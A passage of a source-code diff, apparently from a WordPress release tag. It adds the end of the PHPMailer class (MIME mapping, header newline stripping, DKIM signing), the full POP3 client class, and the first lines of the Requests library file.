+            'mpg'   => 'video/mpeg',
+            'mov'   => 'video/quicktime',
+            'qt'    => 'video/quicktime',
+            'rv'    => 'video/vnd.rn-realvideo',
+            'avi'   => 'video/x-msvideo',
+            'movie' => 'video/x-sgi-movie'
+        );
+        if (array_key_exists(strtolower($ext), $mimes)) {
+            return $mimes[strtolower($ext)];
+        }
+        return 'application/octet-stream';
+    }
+
+    /**
+     * Map a file name to a MIME type.
+     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
+     * @param string $filename A file name or full path, does not need to exist as a file
+     * @return string
+     * @static
+     */
+    public static function filenameToType($filename)
+    {
+        // In case the path is a URL, strip any query string before getting extension
+        $qpos = strpos($filename, '?');
+        if (false !== $qpos) {
+            $filename = substr($filename, 0, $qpos);
+        }
+        $pathinfo = self::mb_pathinfo($filename);
+        return self::_mime_types($pathinfo['extension']);
+    }
+
+    /**
+     * Multi-byte-safe pathinfo replacement.
+     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
+     * Works similarly to the one in PHP >= 5.2.0
+     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
+     * @param string $path A filename or path, does not need to exist as a file
+     * @param integer|string $options Either a PATHINFO_* constant,
+     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
+     * @return string|array
+     * @static
+     */
+    public static function mb_pathinfo($path, $options = null)
+    {
+        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
+        $pathinfo = array();
+        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
+            if (array_key_exists(1, $pathinfo)) {
+                $ret['dirname'] = $pathinfo[1];
+            }
+            if (array_key_exists(2, $pathinfo)) {
+                $ret['basename'] = $pathinfo[2];
+            }
+            if (array_key_exists(5, $pathinfo)) {
+                $ret['extension'] = $pathinfo[5];
+            }
+            if (array_key_exists(3, $pathinfo)) {
+                $ret['filename'] = $pathinfo[3];
+            }
+        }
+        switch ($options) {
+            case PATHINFO_DIRNAME:
+            case 'dirname':
+                return $ret['dirname'];
+            case PATHINFO_BASENAME:
+            case 'basename':
+                return $ret['basename'];
+            case PATHINFO_EXTENSION:
+            case 'extension':
+                return $ret['extension'];
+            case PATHINFO_FILENAME:
+            case 'filename':
+                return $ret['filename'];
+            default:
+                return $ret;
+        }
+    }
+
+    /**
+     * Set or reset instance properties.
+     * You should avoid this function - it's more verbose, less efficient, more error-prone and
+     * harder to debug than setting properties directly.
+     * Usage Example:
+     * `$mail->set('SMTPSecure', 'tls');`
+     *   is the same as:
+     * `$mail->SMTPSecure = 'tls';`
+     * @access public
+     * @param string $name The property name to set
+     * @param mixed $value The value to set the property to
+     * @return boolean
+     * @TODO Should this not be using the __set() magic function?
+     */
+    public function set($name, $value = '')
+    {
+        if (property_exists($this, $name)) {
+            $this->$name = $value;
+            return true;
+        } else {
+            $this->setError($this->lang('variable_set') . $name);
+            return false;
+        }
+    }
+
+    /**
+     * Strip newlines to prevent header injection.
+     * @access public
+     * @param string $str
+     * @return string
+     */
+    public function secureHeader($str)
+    {
+        return trim(str_replace(array("\r", "\n"), '', $str));
+    }
+
+    /**
+     * Normalize line breaks in a string.
+     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
+     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
+     * @param string $text
+     * @param string $breaktype What kind of line break to use, defaults to CRLF
+     * @return string
+     * @access public
+     * @static
+     */
+    public static function normalizeBreaks($text, $breaktype = "\r\n")
+    {
+        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
+    }
+
+    /**
+     * Set the public and private key files and password for S/MIME signing.
+     * @access public
+     * @param string $cert_filename
+     * @param string $key_filename
+     * @param string $key_pass Password for private key
+     * @param string $extracerts_filename Optional path to chain certificate
+     */
+    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
+    {
+        $this->sign_cert_file = $cert_filename;
+        $this->sign_key_file = $key_filename;
+        $this->sign_key_pass = $key_pass;
+        $this->sign_extracerts_file = $extracerts_filename;
+    }
+
+    /**
+     * Quoted-Printable-encode a DKIM header.
+     * @access public
+     * @param string $txt
+     * @return string
+     */
+    public function DKIM_QP($txt)
+    {
+        $line = '';
+        for ($i = 0; $i < strlen($txt); $i++) {
+            $ord = ord($txt[$i]);
+            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
+                $line .= $txt[$i];
+            } else {
+                $line .= '=' . sprintf('%02X', $ord);
+            }
+        }
+        return $line;
+    }
+
+    /**
+     * Generate a DKIM signature.
+     * @access public
+     * @param string $signHeader
+     * @throws phpmailerException
+     * @return string The DKIM signature value
+     */
+    public function DKIM_Sign($signHeader)
+    {
+        if (!defined('PKCS7_TEXT')) {
+            if ($this->exceptions) {
+                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
+            }
+            return '';
+        }
+        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
+        if ('' != $this->DKIM_passphrase) {
+            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
+        } else {
+            $privKey = openssl_pkey_get_private($privKeyStr);
+        }
+        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
+        //@link http://stackoverflow.com/a/11117338/333340
+        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
+            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
+            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
+                openssl_pkey_free($privKey);
+                return base64_encode($signature);
+            }
+        } else {
+            $pinfo = openssl_pkey_get_details($privKey);
+            $hash = hash('sha256', $signHeader);
+            //'Magic' constant for SHA256 from RFC3447
+            //@link https://tools.ietf.org/html/rfc3447#page-43
+            $t = '3031300d060960864801650304020105000420' . $hash;
+            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
+            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
+
+            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
+                openssl_pkey_free($privKey);
+                return base64_encode($signature);
+            }
+        }
+        openssl_pkey_free($privKey);
+        return '';
+    }
+
+    /**
+     * Generate a DKIM canonicalization header.
+     * @access public
+     * @param string $signHeader Header
+     * @return string
+     */
+    public function DKIM_HeaderC($signHeader)
+    {
+        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
+        $lines = explode("\r\n", $signHeader);
+        foreach ($lines as $key => $line) {
+            list($heading, $value) = explode(':', $line, 2);
+            $heading = strtolower($heading);
+            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
+            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
+        }
+        $signHeader = implode("\r\n", $lines);
+        return $signHeader;
+    }
+
+    /**
+     * Generate a DKIM canonicalization body.
+     * @access public
+     * @param string $body Message Body
+     * @return string
+     */
+    public function DKIM_BodyC($body)
+    {
+        if ($body == '') {
+            return "\r\n";
+        }
+        // stabilize line endings
+        $body = str_replace("\r\n", "\n", $body);
+        $body = str_replace("\n", "\r\n", $body);
+        // END stabilize line endings
+        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
+            $body = substr($body, 0, strlen($body) - 2);
+        }
+        return $body;
+    }
+
+    /**
+     * Create the DKIM header and body in a new message header.
+     * @access public
+     * @param string $headers_line Header lines
+     * @param string $subject Subject
+     * @param string $body Body
+     * @return string
+     */
+    public function DKIM_Add($headers_line, $subject, $body)
+    {
+        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
+        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
+        $DKIMquery = 'dns/txt'; // Query method
+        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
+        $subject_header = "Subject: $subject";
+        $headers = explode($this->LE, $headers_line);
+        $from_header = '';
+        $to_header = '';
+        $date_header = '';
+        $current = '';
+        foreach ($headers as $header) {
+            if (strpos($header, 'From:') === 0) {
+                $from_header = $header;
+                $current = 'from_header';
+            } elseif (strpos($header, 'To:') === 0) {
+                $to_header = $header;
+                $current = 'to_header';
+            } elseif (strpos($header, 'Date:') === 0) {
+                $date_header = $header;
+                $current = 'date_header';
+            } else {
+                if (!empty($$current) && strpos($header, ' =?') === 0) {
+                    $$current .= $header;
+                } else {
+                    $current = '';
+                }
+            }
+        }
+        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
+        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
+        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
+        $subject = str_replace(
+            '|',
+            '=7C',
+            $this->DKIM_QP($subject_header)
+        ); // Copied header fields (dkim-quoted-printable)
+        $body = $this->DKIM_BodyC($body);
+        $DKIMlen = strlen($body); // Length of body
+        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
+        if ('' == $this->DKIM_identity) {
+            $ident = '';
+        } else {
+            $ident = ' i=' . $this->DKIM_identity . ';';
+        }
+        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
+            $DKIMsignatureType . '; q=' .
+            $DKIMquery . '; l=' .
+            $DKIMlen . '; s=' .
+            $this->DKIM_selector .
+            ";\r\n" .
+            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
+            "\th=From:To:Date:Subject;\r\n" .
+            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
+            "\tz=$from\r\n" .
+            "\t|$to\r\n" .
+            "\t|$date\r\n" .
+            "\t|$subject;\r\n" .
+            "\tbh=" . $DKIMb64 . ";\r\n" .
+            "\tb=";
+        $toSign = $this->DKIM_HeaderC(
+            $from_header . "\r\n" .
+            $to_header . "\r\n" .
+            $date_header . "\r\n" .
+            $subject_header . "\r\n" .
+            $dkimhdrs
+        );
+        $signed = $this->DKIM_Sign($toSign);
+        return $dkimhdrs . $signed . "\r\n";
+    }
+
+    /**
+     * Detect if a string contains a line longer than the maximum line length allowed.
+     * @param string $str
+     * @return boolean
+     * @static
+     */
+    public static function hasLineLongerThanMax($str)
+    {
+        //+2 to include CRLF line break for a 1000 total
+        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
+    }
+
+    /**
+     * Allows for public read access to 'to' property.
+     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
+     * @access public
+     * @return array
+     */
+    public function getToAddresses()
+    {
+        return $this->to;
+    }
+
+    /**
+     * Allows for public read access to 'cc' property.
+     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
+     * @access public
+     * @return array
+     */
+    public function getCcAddresses()
+    {
+        return $this->cc;
+    }
+
+    /**
+     * Allows for public read access to 'bcc' property.
+     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
+     * @access public
+     * @return array
+     */
+    public function getBccAddresses()
+    {
+        return $this->bcc;
+    }
+
+    /**
+     * Allows for public read access to 'ReplyTo' property.
+     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
+     * @access public
+     * @return array
+     */
+    public function getReplyToAddresses()
+    {
+        return $this->ReplyTo;
+    }
+
+    /**
+     * Allows for public read access to 'all_recipients' property.
+     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
+     * @access public
+     * @return array
+     */
+    public function getAllRecipientAddresses()
+    {
+        return $this->all_recipients;
+    }
+
+    /**
+     * Perform a callback.
+     * @param boolean $isSent
+     * @param array $to
+     * @param array $cc
+     * @param array $bcc
+     * @param string $subject
+     * @param string $body
+     * @param string $from
+     */
+    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
+    {
+        if (!empty($this->action_function) && is_callable($this->action_function)) {
+            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
+            call_user_func_array($this->action_function, $params);
+        }
+    }
+}
+
+/**
+ * PHPMailer exception handler
+ * @package PHPMailer
+ */
+class phpmailerException extends Exception
+{
+    /**
+     * Prettify error message output
+     * @return string
+     */
+    public function errorMessage()
+    {
+        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
+        return $errorMsg;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/class-pop3.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-pop3.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-pop3.php	(revision 56912)
@@ -0,0 +1,662 @@
+<?php
+/**
+ * mail_fetch/setup.php
+ *
+ * Copyright (c) 1999-2011 CDI (cdi@thewebmasters.net) All Rights Reserved
+ * Modified by Philippe Mingo 2001-2009 mingo@rotedic.com
+ * An RFC 1939 compliant wrapper class for the POP3 protocol.
+ *
+ * Licensed under the GNU GPL. For full terms see the file COPYING.
+ *
+ * POP3 class
+ *
+ * @copyright 1999-2011 The SquirrelMail Project Team
+ * @license http://opensource.org/licenses/gpl-license.php GNU Public License
+ * @package plugins
+ * @subpackage mail_fetch
+ */
+
+class POP3 {
+    var $ERROR      = '';       //  Error string.
+
+    var $TIMEOUT    = 60;       //  Default timeout before giving up on a
+                                //  network operation.
+
+    var $COUNT      = -1;       //  Mailbox msg count
+
+    var $BUFFER     = 512;      //  Socket buffer for socket fgets() calls.
+                                //  Per RFC 1939 the returned line a POP3
+                                //  server can send is 512 bytes.
+
+    var $FP         = '';       //  The connection to the server's
+                                //  file descriptor
+
+    var $MAILSERVER = '';       // Set this to hard code the server name
+
+    var $DEBUG      = FALSE;    // set to true to echo pop3
+                                // commands and responses to error_log
+                                // this WILL log passwords!
+
+    var $BANNER     = '';       //  Holds the banner returned by the
+                                //  pop server - used for apop()
+
+    var $ALLOWAPOP  = FALSE;    //  Allow or disallow apop()
+                                //  This must be set to true
+                                //  manually
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct ( $server = '', $timeout = '' ) {
+        settype($this->BUFFER,"integer");
+        if( !empty($server) ) {
+            // Do not allow programs to alter MAILSERVER
+            // if it is already specified. They can get around
+            // this if they -really- want to, so don't count on it.
+            if(empty($this->MAILSERVER))
+                $this->MAILSERVER = $server;
+        }
+        if(!empty($timeout)) {
+            settype($timeout,"integer");
+            $this->TIMEOUT = $timeout;
+            if (!ini_get('safe_mode'))
+                set_time_limit($timeout);
+        }
+        return true;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function POP3( $server = '', $timeout = '' ) {
+		self::__construct( $server, $timeout );
+	}
+
+    function update_timer () {
+        if (!ini_get('safe_mode'))
+            set_time_limit($this->TIMEOUT);
+        return true;
+    }
+
+    function connect ($server, $port = 110)  {
+        //  Opens a socket to the specified server. Unless overridden,
+        //  port defaults to 110. Returns true on success, false on fail
+
+        // If MAILSERVER is set, override $server with its value.
+
+    if (!isset($port) || !$port) {$port = 110;}
+        if(!empty($this->MAILSERVER))
+            $server = $this->MAILSERVER;
+
+        if(empty($server)){
+            $this->ERROR = "POP3 connect: " . _("No server specified");
+            unset($this->FP);
+            return false;
+        }
+
+        $fp = @fsockopen("$server", $port, $errno, $errstr);
+
+        if(!$fp) {
+            $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
+            unset($this->FP);
+            return false;
+        }
+
+        socket_set_blocking($fp,-1);
+        $this->update_timer();
+        $reply = fgets($fp,$this->BUFFER);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG)
+            error_log("POP3 SEND [connect: $server] GOT [$reply]",0);
+        if(!$this->is_ok($reply)) {
+            $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]";
+            unset($this->FP);
+            return false;
+        }
+        $this->FP = $fp;
+        $this->BANNER = $this->parse_banner($reply);
+        return true;
+    }
+
+    function user ($user = "") {
+        // Sends the USER command, returns true or false
+
+        if( empty($user) ) {
+            $this->ERROR = "POP3 user: " . _("no login ID submitted");
+            return false;
+        } elseif(!isset($this->FP)) {
+            $this->ERROR = "POP3 user: " . _("connection not established");
+            return false;
+        } else {
+            $reply = $this->send_cmd("USER $user");
+            if(!$this->is_ok($reply)) {
+                $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]";
+                return false;
+            } else
+                return true;
+        }
+    }
+
+    function pass ($pass = "")     {
+        // Sends the PASS command, returns # of msgs in mailbox,
+        // returns false (undef) on Auth failure
+
+        if(empty($pass)) {
+            $this->ERROR = "POP3 pass: " . _("No password submitted");
+            return false;
+        } elseif(!isset($this->FP)) {
+            $this->ERROR = "POP3 pass: " . _("connection not established");
+            return false;
+        } else {
+            $reply = $this->send_cmd("PASS $pass");
+            if(!$this->is_ok($reply)) {
+                $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]";
+                $this->quit();
+                return false;
+            } else {
+                //  Auth successful.
+                $count = $this->last("count");
+                $this->COUNT = $count;
+                return $count;
+            }
+        }
+    }
+
+    function apop ($login,$pass) {
+        //  Attempts an APOP login. If this fails, it'll
+        //  try a standard login. YOUR SERVER MUST SUPPORT
+        //  THE USE OF THE APOP COMMAND!
+        //  (apop is optional per rfc1939)
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 apop: " . _("No connection to server");
+            return false;
+        } elseif(!$this->ALLOWAPOP) {
+            $retVal = $this->login($login,$pass);
+            return $retVal;
+        } elseif(empty($login)) {
+            $this->ERROR = "POP3 apop: " . _("No login ID submitted");
+            return false;
+        } elseif(empty($pass)) {
+            $this->ERROR = "POP3 apop: " . _("No password submitted");
+            return false;
+        } else {
+            $banner = $this->BANNER;
+            if( (!$banner) or (empty($banner)) ) {
+                $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort");
+                $retVal = $this->login($login,$pass);
+                return $retVal;
+            } else {
+                $AuthString = $banner;
+                $AuthString .= $pass;
+                $APOPString = md5($AuthString);
+                $cmd = "APOP $login $APOPString";
+                $reply = $this->send_cmd($cmd);
+                if(!$this->is_ok($reply)) {
+                    $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort");
+                    $retVal = $this->login($login,$pass);
+                    return $retVal;
+                } else {
+                    //  Auth successful.
+                    $count = $this->last("count");
+                    $this->COUNT = $count;
+                    return $count;
+                }
+            }
+        }
+    }
+
+    function login ($login = "", $pass = "") {
+        // Sends both user and pass. Returns # of msgs in mailbox or
+        // false on failure (or -1, if the error occurs while getting
+        // the number of messages.)
+
+        if( !isset($this->FP) ) {
+            $this->ERROR = "POP3 login: " . _("No connection to server");
+            return false;
+        } else {
+            $fp = $this->FP;
+            if( !$this->user( $login ) ) {
+                //  Preserve the error generated by user()
+                return false;
+            } else {
+                $count = $this->pass($pass);
+                if( (!$count) || ($count == -1) ) {
+                    //  Preserve the error generated by last() and pass()
+                    return false;
+                } else
+                    return $count;
+            }
+        }
+    }
+
+    function top ($msgNum, $numLines = "0") {
+        //  Gets the header and first $numLines of the msg body
+        //  returns data in an array with each returned line being
+        //  an array element. If $numLines is empty, returns
+        //  only the header information, and none of the body.
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 top: " . _("No connection to server");
+            return false;
+        }
+        $this->update_timer();
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $cmd = "TOP $msgNum $numLines";
+        fwrite($fp, "TOP $msgNum $numLines\r\n");
+        $reply = fgets($fp, $buffer);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) {
+            @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
+        }
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]";
+            return false;
+        }
+
+        $count = 0;
+        $MsgArray = array();
+
+        $line = fgets($fp,$buffer);
+        while ( !preg_match('/^\.\r\n/',$line))
+        {
+            $MsgArray[$count] = $line;
+            $count++;
+            $line = fgets($fp,$buffer);
+            if(empty($line))    { break; }
+        }
+
+        return $MsgArray;
+    }
+
+    function pop_list ($msgNum = "") {
+        //  If called with an argument, returns that msgs' size in octets
+        //  No argument returns an associative array of undeleted
+        //  msg numbers and their sizes in octets
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 pop_list: " . _("No connection to server");
+            return false;
+        }
+        $fp = $this->FP;
+        $Total = $this->COUNT;
+        if( (!$Total) or ($Total == -1) )
+        {
+            return false;
+        }
+        if($Total == 0)
+        {
+            return array("0","0");
+            // return -1;   // mailbox empty
+        }
+
+        $this->update_timer();
+
+        if(!empty($msgNum))
+        {
+            $cmd = "LIST $msgNum";
+            fwrite($fp,"$cmd\r\n");
+            $reply = fgets($fp,$this->BUFFER);
+            $reply = $this->strip_clf($reply);
+            if($this->DEBUG) {
+                @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
+            }
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]";
+                return false;
+            }
+            list($junk,$num,$size) = preg_split('/\s+/',$reply);
+            return $size;
+        }
+        $cmd = "LIST";
+        $reply = $this->send_cmd($cmd);
+        if(!$this->is_ok($reply))
+        {
+            $reply = $this->strip_clf($reply);
+            $this->ERROR = "POP3 pop_list: " . _("Error ") .  "[$reply]";
+            return false;
+        }
+        $MsgArray = array();
+        $MsgArray[0] = $Total;
+        for($msgC=1;$msgC <= $Total; $msgC++)
+        {
+            if($msgC > $Total) { break; }
+            $line = fgets($fp,$this->BUFFER);
+            $line = $this->strip_clf($line);
+            if(strpos($line, '.') === 0)
+            {
+                $this->ERROR = "POP3 pop_list: " . _("Premature end of list");
+                return false;
+            }
+            list($thisMsg,$msgSize) = preg_split('/\s+/',$line);
+            settype($thisMsg,"integer");
+            if($thisMsg != $msgC)
+            {
+                $MsgArray[$msgC] = "deleted";
+            }
+            else
+            {
+                $MsgArray[$msgC] = $msgSize;
+            }
+        }
+        return $MsgArray;
+    }
+
+    function get ($msgNum) {
+        //  Retrieve the specified msg number. Returns an array
+        //  where each line of the msg is an array element.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 get: " . _("No connection to server");
+            return false;
+        }
+
+        $this->update_timer();
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $cmd = "RETR $msgNum";
+        $reply = $this->send_cmd($cmd);
+
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]";
+            return false;
+        }
+
+        $count = 0;
+        $MsgArray = array();
+
+        $line = fgets($fp,$buffer);
+        while ( !preg_match('/^\.\r\n/',$line))
+        {
+            if ( $line{0} == '.' ) { $line = substr($line,1); }
+            $MsgArray[$count] = $line;
+            $count++;
+            $line = fgets($fp,$buffer);
+            if(empty($line))    { break; }
+        }
+        return $MsgArray;
+    }
+
+    function last ( $type = "count" ) {
+        //  Returns the highest msg number in the mailbox.
+        //  returns -1 on error, 0+ on success, if type != count
+        //  results in a popstat() call (2 element array returned)
+
+        $last = -1;
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 last: " . _("No connection to server");
+            return $last;
+        }
+
+        $reply = $this->send_cmd("STAT");
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]";
+            return $last;
+        }
+
+        $Vars = preg_split('/\s+/',$reply);
+        $count = $Vars[1];
+        $size = $Vars[2];
+        settype($count,"integer");
+        settype($size,"integer");
+        if($type != "count")
+        {
+            return array($count,$size);
+        }
+        return $count;
+    }
+
+    function reset () {
+        //  Resets the status of the remote server. This includes
+        //  resetting the status of ALL msgs to not be deleted.
+        //  This method automatically closes the connection to the server.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 reset: " . _("No connection to server");
+            return false;
+        }
+        $reply = $this->send_cmd("RSET");
+        if(!$this->is_ok($reply))
+        {
+            //  The POP3 RSET command -never- gives a -ERR
+            //  response - if it ever does, something truly
+            //  wild is going on.
+
+            $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]";
+            @error_log("POP3 reset: ERROR [$reply]",0);
+        }
+        $this->quit();
+        return true;
+    }
+
+    function send_cmd ( $cmd = "" )
+    {
+        //  Sends a user defined command string to the
+        //  POP server and returns the results. Useful for
+        //  non-compliant or custom POP servers.
+        //  Do NOT includ the \r\n as part of your command
+        //  string - it will be appended automatically.
+
+        //  The return value is a standard fgets() call, which
+        //  will read up to $this->BUFFER bytes of data, until it
+        //  encounters a new line, or EOF, whichever happens first.
+
+        //  This method works best if $cmd responds with only
+        //  one line of data.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 send_cmd: " . _("No connection to server");
+            return false;
+        }
+
+        if(empty($cmd))
+        {
+            $this->ERROR = "POP3 send_cmd: " . _("Empty command string");
+            return "";
+        }
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $this->update_timer();
+        fwrite($fp,"$cmd\r\n");
+        $reply = fgets($fp,$buffer);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+        return $reply;
+    }
+
+    function quit() {
+        //  Closes the connection to the POP3 server, deleting
+        //  any msgs marked as deleted.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 quit: " . _("connection does not exist");
+            return false;
+        }
+        $fp = $this->FP;
+        $cmd = "QUIT";
+        fwrite($fp,"$cmd\r\n");
+        $reply = fgets($fp,$this->BUFFER);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+        fclose($fp);
+        unset($this->FP);
+        return true;
+    }
+
+    function popstat () {
+        //  Returns an array of 2 elements. The number of undeleted
+        //  msgs in the mailbox, and the size of the mbox in octets.
+
+        $PopArray = $this->last("array");
+
+        if($PopArray == -1) { return false; }
+
+        if( (!$PopArray) or (empty($PopArray)) )
+        {
+            return false;
+        }
+        return $PopArray;
+    }
+
+    function uidl ($msgNum = "")
+    {
+        //  Returns the UIDL of the msg specified. If called with
+        //  no arguments, returns an associative array where each
+        //  undeleted msg num is a key, and the msg's uidl is the element
+        //  Array element 0 will contain the total number of msgs
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 uidl: " . _("No connection to server");
+            return false;
+        }
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+
+        if(!empty($msgNum)) {
+            $cmd = "UIDL $msgNum";
+            $reply = $this->send_cmd($cmd);
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
+                return false;
+            }
+            list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply);
+            return $myUidl;
+        } else {
+            $this->update_timer();
+
+            $UIDLArray = array();
+            $Total = $this->COUNT;
+            $UIDLArray[0] = $Total;
+
+            if ($Total < 1)
+            {
+                return $UIDLArray;
+            }
+            $cmd = "UIDL";
+            fwrite($fp, "UIDL\r\n");
+            $reply = fgets($fp, $buffer);
+            $reply = $this->strip_clf($reply);
+            if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
+                return false;
+            }
+
+            $line = "";
+            $count = 1;
+            $line = fgets($fp,$buffer);
+            while ( !preg_match('/^\.\r\n/',$line)) {
+                list ($msg,$msgUidl) = preg_split('/\s+/',$line);
+                $msgUidl = $this->strip_clf($msgUidl);
+                if($count == $msg) {
+                    $UIDLArray[$msg] = $msgUidl;
+                }
+                else
+                {
+                    $UIDLArray[$count] = 'deleted';
+                }
+                $count++;
+                $line = fgets($fp,$buffer);
+            }
+        }
+        return $UIDLArray;
+    }
+
+    function delete ($msgNum = "") {
+        //  Flags a specified msg as deleted. The msg will not
+        //  be deleted until a quit() method is called.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 delete: " . _("No connection to server");
+            return false;
+        }
+        if(empty($msgNum))
+        {
+            $this->ERROR = "POP3 delete: " . _("No msg number submitted");
+            return false;
+        }
+        $reply = $this->send_cmd("DELE $msgNum");
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]";
+            return false;
+        }
+        return true;
+    }
+
+    //  *********************************************************
+
+    //  The following methods are internal to the class.
+
+    function is_ok ($cmd = "") {
+        //  Return true or false on +OK or -ERR
+
+        if( empty($cmd) )
+            return false;
+        else
+            return( stripos($cmd, '+OK') !== false );
+    }
+
+    function strip_clf ($text = "") {
+        // Strips \r\n from server responses
+
+        if(empty($text))
+            return $text;
+        else {
+            $stripped = str_replace(array("\r","\n"),'',$text);
+            return $stripped;
+        }
+    }
+
+    function parse_banner ( $server_text ) {
+        $outside = true;
+        $banner = "";
+        $length = strlen($server_text);
+        for($count =0; $count < $length; $count++)
+        {
+            $digit = substr($server_text,$count,1);
+            if(!empty($digit))             {
+                if( (!$outside) && ($digit != '<') && ($digit != '>') )
+                {
+                    $banner .= $digit;
+                }
+                if ($digit == '<')
+                {
+                    $outside = false;
+                }
+                if($digit == '>')
+                {
+                    $outside = true;
+                }
+            }
+        }
+        $banner = $this->strip_clf($banner);    // Just in case
+        return "<$banner>";
+    }
+
+}   // End class
+
+// For php4 compatibility
+if (!function_exists("stripos")) {
+    function stripos($haystack, $needle){
+        return strpos($haystack, stristr( $haystack, $needle ));
+    }
+}
Index: /tags/5.0.20/src/wp-includes/class-requests.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-requests.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-requests.php	(revision 56912)
@@ -0,0 +1,980 @@
+<?php
+/**
+ * Requests for PHP
+ *
+ * Inspired by Requests for Python.
+ *
